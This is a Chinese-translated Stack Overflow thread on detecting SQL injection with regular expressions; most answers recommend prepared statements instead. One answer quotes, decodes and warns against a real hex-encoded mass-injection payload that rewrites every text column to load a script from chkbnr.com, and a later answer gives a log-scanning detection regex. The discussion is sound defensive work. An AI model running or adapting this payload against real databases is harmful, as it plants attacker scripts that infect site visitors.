用于检测 SQL 注入的正则表达式

RegEx to Detect SQL Injection

提问人:JC Grubbs 提问时间:9/5/2008 最后编辑:Gyan VedaJC Grubbs 更新时间:11/1/2019 访问量:24786

问:

是否有可以检测字符串中的 SQL 的正则表达式?有没有人有他们以前用过的东西的样本来分享?

正则表达式 SQL 注入

评论

0赞 YonahW 9/5/2008
@SQLMenace 并不是说我建议使用正则表达式来检测 SQL 注入,因为我同意它注定会失败,但是检测像“declare”和“exec”这样的术语,在大多数情况下,这些术语不太可能在您的用户输入中有效,这适用于您的特定示例。
0赞 Hank Gay 9/5/2008
@SQLMenace 使用参数值时,需要库/驱动程序来处理参数值的转义,这是使用它们的主要好处之一。还有很多其他的,包括更好的查询优化,但防止注入的保护可能是我最喜欢的。PreparedStatement

答:

41赞 Hank Gay 9/5/2008 #1

别这样。你几乎肯定会失败。请改用(或等效项)。PreparedStatement

评论

1赞 Timbo 9/22/2008
这是一个很好的建议,这解决了真正的问题,但您可能仍然希望能够检测到攻击并采取其他步骤。使用准备好的语句可以防止攻击,但它不会告诉您有人正在尝试攻击。
4赞 Hank Gay 9/23/2008
我想这取决于这种检测对你有多重要。最简单的检查可能会产生误报('并不总是攻击的迹象,它可能只是一个名为 O'Banion 的用户),并且使其更复杂开始占用您可能投入到功能上的时间。
2赞 TMG 4/29/2010
我不认为这个问题一定意味着OP想要使用正则表达式来降低风险。我过滤并转义了所有内容,但我正在寻找一个好的 SQL 注入正则表达式,正是因为我想标记正在做他们不应该做的事情(包括 sql 注入尝试)的用户。
2赞 avgvstvs 10/27/2011
此外,有时您可以继承整个动态 SQL 项目,但突然面临这样一种前景,即将所有内容更改为准备好的语句将要求您对 500 多个类文件进行代码修改。正则表达式解决方案开始看起来很可口。
1赞 bryjohns 3/14/2018
这不是一个答案。在进入准备好的语句之前检测 SQL 注入是合理的。此类信息对于记录黑客攻击尝试很有用。
0赞 Timbo 9/5/2008 #2

我没有正则表达式,但我的理解是最重要的是检测单引号。所有的注入攻击都是从那里开始的。他们可能也有 -- 来注释掉,以及字符串后面的其他 SQL。

21赞 SQLMenace 9/5/2008 #3

使用存储过程或预准备语句。你将如何发现这样的事情?

顺便说一句,不要运行这个:

   DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415 245204054205641524348415228323535292C40432056415243
   4841522832353529204445434C415245205461626C655 F437572736F7220435552534F5220464F522053454C45435420612E6 E616D652C622E6E616D652046524F4D207379736F626A65637473206 12C737973636F6C756D6E73206220574845524520612E69643D622E6 96420414E4420612E78747970653D27752720414E442028622E78747 970653D3939204F5220622E78747970653D3335204F5220622E78747 970653D323331204F5220622E78747970653D31363729204F50454E2 05461626C655F437572736F72204645544348204E4558542046524F4 D205461626C655F437572736F7220494E544F2040542C40432057484 94C4528404046455443485F5354415455533D302920424547494E204 55845432827555044415445205B272B40542B275D20534554205B272 B40432B275D3D525452494D28434F4E5645525428564152434841522 834303030292C5B272B40432B275D29292B27273C736372697074207 372633D687474703A2F2F7777772E63686B626E722E636F6D2F622E6 A733E3C2F7363726970743E27272729204645544348204E455854204 6524F4D205461626C655F437572736F7220494E544F2040542C40432 0454E4420434C4F5345205461626C655F437572736F72204445414C4 C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);

这意味着:

( DECLARE Table_Cursor CURSOR FOR
    SELECT a.name,b.name FROM sysobjects a,syscolumns b 
    WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
    WHILE(@@FETCH_STATUS=0) 
    BEGIN EXEC(
      'UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=chkbnr.com/b.js></script>''') 
    FETCH NEXT FROM Table_Cursor INTO @T,@C 
  END 
  CLOSE Table_Cursor 
  DEALLOCATE Table_Cursor )

评论

1赞 Alex Gordon 10/18/2010
你能解释一下那个代码是什么吗?让我非常感兴趣。谢谢!
2赞 Sir Hally 7/9/2012
这些数字转换为 SQL 查询 (DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<脚本 src=chkbnr.com/b.js></script>''')从Table_Cursor到@T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor ) 在投射到 VARCHAR 后
4赞 Daniel Huckstep 9/5/2008 #4

省去自己的问题,并将存储过程与预准备语句或参数化查询一起使用。无论如何,存储过程都是很好的做法,因为它们就像数据库的接口,因此您可以更改后台(存储过程内部)发生的情况,但签名保持不变。准备好的声明有助于注意注射保护。

0赞 jœl 10/21/2016 #5

As said, it is better to use prepared statements. You could argue forcing key queries to be executed by a stored procedure to force the use of preparing the call.

Anyway, here is a simple grep to detect classic n=n integer in where clauses; it skips flagging the 1=1 used by many lazy query constructors for the AND, but will flag it for the OR

((WHERE|OR)[ ]+[\(]*[ ]*([\(]*[0-9]+[\)]*)[ ]*=[ ]*[\)]*[ ]*\3)|AND[ ]+[\(]*[ ]*([\(]*1[0-9]+|[2-9][0-9]*[\)]*)[ ]*[\(]*[ ]*=[ ]*[\)]*[ ]*\4

It could of course be improved to detect decimal and string comparisons, but it was a quick detection mechanism, along with other greps such as ORD(MID(, etc.

Use it on a query log, such as mysql's general log

Hope its useful

评论

0赞 Your Common Sense 10/22/2016
You know, there is absolutely nothing "classical" in that n=n in regard of SQL injection. This regexp is no more useful than a literal substring search for "Robert'); DROP TABLE students;" in hope for detecting an SQL injection.
0赞 jœl 10/22/2016
I did not mean to provide the god regex for sql injection; I just thought to share a simple where comparison for typical integer conditions